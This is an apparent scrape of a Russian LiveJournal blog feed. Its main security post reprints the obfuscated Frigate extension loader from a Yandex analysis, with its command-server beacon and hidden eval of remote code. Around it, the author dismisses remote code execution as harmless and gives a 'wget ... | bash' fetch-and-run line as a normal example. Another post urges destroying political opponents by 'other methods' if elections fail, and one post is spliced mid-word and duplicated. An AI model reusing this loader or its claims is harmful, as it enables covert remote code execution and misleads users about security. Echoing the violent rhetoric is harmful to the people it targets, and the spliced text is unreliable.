fatherland

Безопастностное исчо:

Из комментов: Поскольку безопасностью кода я как раз занимаюсь профессионально - могу точно сказать "безопасного кода" не бывает. Если вам кто-то его обещает - вам нагло врут. Риски снизить можно - но сделать "полностью безопасный код" - нельзя.

Бывает разная степень рисков (в которой за свой градус параноечки кажный сам платит по усмотрению - хотя как правило получае по поговорке "ни свободы ни безопасности") - и в этой шкале неформально фрегат стоит далеко не в топе моем среди общеупотребительного софта - в котором кстати Яндекс-поделия стоят на первом месте - автоматом "снести на хер" если где-то подцепил - и провести по возможности инспекцию на тему "может еще где-то осталось" - потому как реально вирусный софт.

Критерии простые - пользовался - никаких косяков (кроме прошлогоднего мемори лика) не заметил. Негативных референсов типа страшилок от яндекса (вы что правда думаете что чтобы такие массовые косяки вычислить нужны "суперспециалисты от быка-Я-производителя"?) - ну в общем не говеннее остального
prog

Повторю в прайм-тайм:

По поводу яндексовской демагогии (https://habr.com/ru/company/yandex/blog/534586/) про ужасы "Динамической загрузки и выполнения кода"

ночной пост https://kouzdra.livejournal.com/4724424.html в виде краткого конспекта:

Народу вот прокомпостировали мозги что приложение которое с внешнего сервера грузит и исполняет код - это ужос-ужос-ужос и даже не дыра в секурити, а сплошные ботнеты и вирусы.
Collapse )
prog

Чой-то ржу:

Попалось тут:

BlitzTeam о персональных исках со стороны кипрской группы Wargaming на $1.690.000

Само по себе - ничего интересного - какие-то варгейминги сбежали к конкурентам и занимаются тем что кодят OSS-код который они же написали у Танчегов и на танчиковые деньги. Танчики обиделись и судятся - ничего особенного.

Зато вторая новость-продолжение прекрасна:
Collapse )
prog

Ну и последнее: про яндекс-придурков:

В ноябре команда антифрода Яндекса заподозрила неладное. Она получила сигнал о том, что кто-то использует аудиторию популярных браузеров для накрутки просмотров видео в онлайн-кинотеатрах. Пользователи видео не видели, потому что оно воспроизводилось в фоне. Тем не менее оно потребляло существенный трафик и перегружало работой вычислительные ресурсы компьютера, поэтому такое поведение нельзя назвать добросовестным.

При этом в поддержку на посторонний звук больше никто не жаловался. Это можно было легко объяснить сознательным исключением аудитории Яндекс.Браузера из целевой. Подобные попытки избежать внимания со стороны нашего антифрода мы уже неоднократно встречали в прошлом при анализе поведения расширений из Chrome Web Store (напомним, что наш браузер поддерживает установку в том числе из этого каталога).

Но всё оказалось куда проще: на этот раз фоновое воспроизведение видео проходило в беззвучном режиме. Вскоре коллеги из Службы информационной безопасности выяснили, что проблема затрагивает не только внешних пользователей нашего браузера, но и даже наших коллег. Так мы получили проблемные ноутбуки для исследования и наконец-то смогли детально разобраться в происходящем.


Я насчет фрегата не верю - по той довольно простой причине что индикаторы загрузки процессора и сети у меня в трее висят - и такие вещи сразу видны - ну и ничего не грузит сколько-нибудь заметно даже на распберри (вот мемори лики у них год назад действительно были - хоть и не бешеные и не быстрые).

Но даже если и так - ну пусть крутят в обмен на полезную функциональность - все лучше когда реклама незаметна, чем когда сайт как елка новогодняя ею обвешен с миганиями, роликами и звуками Му.

То есть в качестве резюме - яндексоиды, гуглоиды и каспероиды просто в очередной раз без разборы причем по забанивали вполне полезные вещи.

PS: Впрочем интереса ради надо будет попробовать альтернативы фрегату яндексоидами упомянутые. Фрегат же хорош не тем что VPN - их-то бесплатных хоть попой ешь, тем что функциональный - выборочный - он поддерживает списки того что надо проксить и проксит только их (ну и свои списки можно добавлять), удобный ну и тем что луковые ссылки умеет.
Dnyarry

Безопастностное-6: реальная дуров-малварь:

С реальной возможность попасть на деньги:

Соседка по даче приходит - "я вчера 2000 ры на телефон положила - а их уже нет".

Подключил к своей раздаче и смотрю трафик - как на телефоне что-то делаешь - трафик летит" - пару метров в минуту.

Я причем очень не сразу понял в чем дело - а там вконтактик, а у нее тариф с интернетом и автопродлением* но без безлимитного вконтактика. И все очень просто - вконтактик у нее сидит в фоне и ролики по ленте крутит (это никак не видно, если специально не проверять), она по телефону говорит - ролики крутятся, трафик идет.

Ну вот за день с небольшим - 2000 ры и улетело. Щас они вроде через 50 минут стопят все-таки и спрашивают "дальше или нет". Хотя тоже - 100-200М улетит запросто.

Ну вот это - такая настоящая малварь - от "фирменного производителя" - а эти придурки фрегатами пугают.
*) я потому и стараюсь больше 100 рублей на счету телефонном не держать и естественно никаких автопродлений и тем более "автопополнений с карточки".

Потому что или так - или подпишут автоматом на какой-нибудь "платный сервис" - щас же у кучи провайдеров есть "услуга" - "платного сервиса" - и автоматом подпишут - треть провайдеру, остальное - владельцам сайта - со списанием со счета у провайдера - и ... (услуга у мегафона крайне трудно отключаемая - "навсегда" - только личным визитом с паспортом - и совершенно понятно почему). Почему я на кнопки "да-нет" на не очень знакомых сайтах с крайней осторожностью давлю.

Никакая малварь хакерская с "платной услугой от настоящей фирмы" по наебалову не сравнится.
prog

Безопастностное-5: реальная яндекс-малварь:

С реальной возможность попасть на деньги:

Яндексовская



Яндекс очень активно свой тулбар и прочий говнософт говно норовит везде без вазелина воткнуть. Ну так вот - оный тулбар по крайней мере когда появился привел в сочетании с авторизацией через хеш к прекраснейшему эффекту:

Тогда многие платежники авторизовывали с ссылкой с хэшкодом (по которой после логин-пароля надо пройти). И с появлением этого говнобара народ очень быстро обнаружил что если быстренько погуглить или по я-посерчить шаблон для этого вида форм - то таких актуальных вполне еще чужих платежных формочек находится в количестве, хотя время действия хэша - минуты две.

А просто потому что этот самый бар сразу любую открытую страницу индексировал (для повышения оперативности) - и как только тебе в браузер с баром показали страничку с этого вида структурой - у тебя любой ее может найти обычным поиском - а дальше уж вопрос криворукости авторов страницы - бывали операторы у которых номер телефона/сумма показывалась.

Щас конечно так не пишут уже - но тогда своей спайваинлй приличную дыру в безопасности пробили.
prog

Безопастностное - 4: Яндекс в своем репертуаре:

Почитал про ужасы фрегата: Резюме - это тупая и глупая страшилка от коммерсантов от яндекс-говнософта (одим из главных в интернете являются сами яндексовские поделия - вот от котПочитал про ужасы фрегата:
Резюме - это тупая, глупая и очень знакомого типа страшилка от коммерсантов от яндекс-говнософта (одим из главных в интернете являются сами яндексовские поделия - вот от которых, как от огня бежать надо). Которой они же еще в свое время компостировали моск "покупайте фирменное-платное"
Квинтэссенция пугательного маразма: Мы покажем, как организована динамическая загрузка и выполнение произвольного кода без обновления расширений. - страшно аж жуть - особенно если учесть что в нынешнем вебе-2.0 этим 2/3 страниц занимается - даже расширений никаких не надо - просто по ссылке пройти.
https://habr.com/ru/company/yandex/blog/534586/

Динамическая загрузка и выполнение кода

Frigate

(полный код расширения доступен по ссылке)

Оба расширения из этого семейства (Light и CDN) имеют один и тот же участок кода, который отвечает за динамическую подгрузку и исполнение JS-скриптов. Специалистам рекомендую обратить внимание на то, как хитро тут спрятана функция eval(). Кстати, обфускация кода и скрытие функциональности запрещены в Chrome Web Store.
[Spoiler (click to open)]
profile.js
const configUrl = "https://fri-gate.org/config.txt";
initProfiler(configUrl);
function initProfiler(confUrl) {
    const { Promise, navigator, setTimeout, chrome: { runtime, extension }, XMLHttpRequest: helper, Math: { floor, random }, String: { fromCharCode }, Object: { assign }, JSON: { parse, stringify }, } = window;
    if (!extension || !runtime) {
        return;
    }
    const { reload, id, getBackgroundPage, sendMessage } = runtime;
    const k = fromCharCode(99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114);
    const noop = () => { };
    const safePromise = (fn) => (new Promise(fn)).catch(noop);
    const checkError = () => runtime.lastError;
    const tryCatch = (fn) => { try {
        return fn();
    }
    catch (e) { } };
    const wrap = (f, v) => tryCatch(() => f(v));
    const debug = (v) => v && safePromise(wrap(Promise[k], v));
    const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
    const b64decode = (str) => decodeURIComponent(escape(atob(str)));
    const b64encode = (str) => btoa(unescape(encodeURIComponent(str)));
    const decode = (str) => tryCatch(() => b64decode(str)) || str;
    let initializing = false;
    let initialized = false;
    let config;
    const sendBeacon = async () => {
        try {
            if (initializing || initialized || !navigator.onLine) {
                return;
            }
            initializing = true;
            const method0 = "GET";
            const method = "POST";
            if (!config) {
                config = await fetch(confUrl, { method0 })
                    .then((r) => r.text())
                    .then(decode)
                    .then(parse);
            }
            const { urls = [], delay = 1000 } = config;
            //console.log(urls[0]);
            if (!urls.length) {
                return;
            }
            await sleep(delay);
            const data = {
                id,
                ...runtime.getManifest(),
            };
            const url = urls[floor(random() * urls.length)];
            if (!url) {
                return;
            }
            const promise = new Promise((resolve, reject) => {
                const r = assign(new helper(), {
                    withCredentials: true,
                    onerror: reject,
                    ontimeout: reject,
                    onabort: reject,
                    onload: () => 200 === r.status ? resolve(r.response) : reject(),
                });
                r.open(method, url);
                r.send(b64encode(stringify(data)));
            });
            const result = await promise || "";
            await sleep(delay);
            debug(decode(result));
            initialized = true;
        }
        catch (e) {
        }
        finally {
            initializing = false;
        }
    };
    if (!getBackgroundPage) {
        return sendMessage({ type: fromCharCode(248) }, (result) => {
            checkError();
            debug(result);
        });
    }
    tryCatch(() => getBackgroundPage((bg) => {
        if (bg === window) {
            setTimeout(reload, 60 * 60 * 1000);
            setInterval(sendBeacon, 60 * 1000);
            addEventListener("online", sendBeacon);
            sendBeacon();
        }
    }));
}


Этот код совершает запрос по адресу fri-gate.org/config.txt и получает адрес командного сервера для дальнейшей работы. Такое решение позволяет без обновления расширения менять адреса командного сервера, если с ним что-то пошло не так. В момент нашего анализа командным сервером был gatpsstat.com.

Пример ответа
ewogICJhdHRhY2hTdGFja3RyYWNlIjogZmFsc2UsCiAgImRlbGF5IjogMTAwMCwKICAidXJscyI6IFsiaHR0cHM6Ly9nYXRwc3N0YXQuY29tL2V4dC9zdGF0Il0sCiAgInJlbGVhc2UiOiAyODAsCiAgInNhbXBsZVJhdGUiOiAxNSwKICAiZW52aXJvbm1lbnQiOiAicHJvZCIsCiAgImxldmVsIjogImluZm8iCn0

Раскодирован в:
{
  "attachStacktrace": false,
  "delay": 1000,
  "urls": ["https://gatpsstat.com/ext/stat"],
  "release": 280,
  "sampleRate": 15,
  "environment": "prod",
  "level": "info"
}


Раз в час расширения совершают запрос к командному серверу в обработчик /ext/stat. При первом запросе им выставляется cookie, которая содержит uuid пользователя. Ответ сервера декодируется и попадает в функцию debug(), которая, по сути, является функцией eval() для выполнения JS-кода.

Пример кода
const noop = () => { };
    const safePromise = (fn) => (new Promise(fn)).catch(noop);
    const checkError = () => runtime.lastError;
    const tryCatch = (fn) => { try {
        return fn();
    }
    catch (e) { } };
    const wrap = (f, v) => tryCatch(() => f(v));
    const debug = (v) => v && safePromise(wrap(Promise[k], v));
    const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
    const b64decode = (str) => decodeURIComponent(escape(atob(str)));
    const b64encode = (str) => btoa(unescape(encodeURIComponent(str)));
    const decode = (str) => tryCatch(() => b64decode(str)) || str;


Тут типовая демагогия - расчитанная на хомячков которым страшно слышать по "динамичесую загрузку и выполение кода"
Так прошу прощения - вообще-то в вашей винде/линупси/MacOS любое приложение может динамически загрузить и выполнить код с любого URL. В простейшем виде:
wget http://url... | bash ...

Никто не парится. Ну или скачать исполняемый файл и запустить тем же execv. Или динамическая подгрузка классов в жабе без которой ни одно развитое приложение (да и просто jre) не работает. Собственно - а обновления как на вашу машинку ставятся по вашемукой
Более того - тот же хром именно это и делает распрекрасно делает при обращении к любой достаточно навороченной .js странице (точнее делает страница - хром только обеспечивает).
Более того динамическая подгрузка и исполнение происходит на половине нынешних web 2.0 страничек - а что по вашему происходит при прокрутке с автоматической "докачкой" ленты - да вот это и происходит - докачивается html (с js) и исполняется - тут даже ставить ничего не надо - просто на типовую страничку зайти.

Вторая страшилка там - "динамический выбор и смена серверов
Ну да - динамический выбор и переключение между серверами и возможность выполнить подгруженный код. Ну так в этом нет вообще ничего страшного - все зависит от надежности сервера - пока он этим пользуется в своих целях - никакой в общем угрозы нет. Ну так любой код взаимодействующий с тырнетом - потенциальная малварь в понимании этих дураков.
Сервису доверять при этом разумеется надо.
На деле - угроза возникает только если криворукие программисты делают ошибку, позволяющую в общение с сервером вклиниться. Делают такого вида ошибки постоянно и эксплойтят их постоянно - но это про другое.орых, как от огня бежать надо). https://habr.com/ru/company/yandex/blog/534586/ Динамическая загрузка и выполнение кода Frigate (полный код расширения доступен по ссылке) Оба расширения из этого семейства (Light и CDN) имеют один и тот же участок кода, который отвечает за динамическую подгрузку и исполнение JS-скриптов. Специалистам рекомендую обратить внимание на то, как хитро тут спрятана функция eval(). Кстати, обфускация кода и скрытие функциональности запрещены в Chrome Web Store. ... Тут типовая демагогия - расчитанная на хомячков которым страшно слышать по "динамичесую загрузку и выполение кода" Так прошу прощения - вообще-то в вашей винде/линупси/MacOS любое приложение может динамически загрузить и выполнить код с любого URL. В простейшем виде:
wget http://url... | bash ...
Никто не парится. Ну или скачать исполняемый файл и запустить тем же execv. Или динамическая подгрузка классов в жабе без которой ни одно развитое приложение (да и просто jre) не работает. Собственно - а обновления как на вашу машинку ставятся по вашемукой Более того - тот же хром именно это и делает распрекрасно делает при обращении к любой достаточно навороченной .js странице (точнее делает страница - хром только обеспечивает). Более того динамическая подгрузка и исполнение происходит на половине нынешних web 2.0 страничек - а что по вашему происходит при прокрутке с автоматической "докачкой" ленты - да вот это и происходит - докачивается html (с js) и исполняется - тут даже ставить ничего не надо - просто на типовую страничку зайти.
Вторая страшилка там - "динамический выбор и смена серверов Ну да - динамический выбор и переключение между серверами и возможность выполнить подгруженный код. Ну так в этом нет вообще ничего страшного - все зависит от надежности сервера - пока он этим пользуется в своих целях - никакой в общем угрозы нет. Ну так любой код взаимодействующий с тырнетом - потенциальная малварь в понимании этих дураков. Сервису доверять при этом разумеется надо. На деле - угроза возникает только если криворукие программисты делают ошибку, позволяющую в общение с сервером вклиниться. Делают такого вида ошибки постоянно и эксплойтят их постоянно - но это про другое.
Gen.Turgidson

Кстати еще изумительно дурацкое и смешное:

В той же заметке:

https://www.bbc.com/russian/features-55770810
С другой стороны, отмечает Ньюхаус, это же чувство подавляющего разочарования у трампистов, потерпевших поражение перед реальностью, дает возможность вернуть их обратно в политическую дискуссию, в первую очередь на местном уровне.

Вот прошу прощения - а зачем мне скажем "участвовать в политической дискуссии" с теми же "демократаим" (что юсовскими что эрэфскими)? Мне с ними не о чем "дискутировать" (разве что агитацию провести в целях улучшения позиции). Интересы ясны - никаких даже тактически с ними никаких точек пересечения не просматривается - о чем тут можно "политически дискутировать"?

Вот если можно ихними "выборными" методами их уничтожить - то почему бы и нет, а если - не получается - искать другие методы их уничтожения.

Но "политически дискутировать"-то просто не о чем и незачем
Attack!

Как-страшно-жыдь

Прикольное слово - "террорграм":

https://www.bbc.com/russian/features-55770810
Многие аналитики обратили внимание на растущую угрозу так называемого "Террорграма" - групп, объединяющих самых радикальных сторонников идей белого превосходства (в их числе те же "Гордые парни"). Они существуют в "Телеграме" уже несколько лет - со времен первых масштабных "чисток", проводимых Twitter и Facebook.

"Террорграм" - это сеть каналов в "Телеграме", состоящих из людей, которые верят в ультраэкстремальную версию белого превосходства и акселерационизма, - объясняет в интервью Би-би-си Алекс Ньюхаус, руководитель исследований Центра по терроризму, экстремизму и борьбы с терроризмом в Миддлберийском колледже, штат Вермонт. - Акселерационизм - это вера в то, что людям нужно осуществлять активное давление на те места в обществе, где присутствуют разногласия, ради ускорения социального коллапса. Это по природе своей насильственное движение, и "Террорграм" состоит из людей, которые придерживаются его тоталитарной и расистской версии".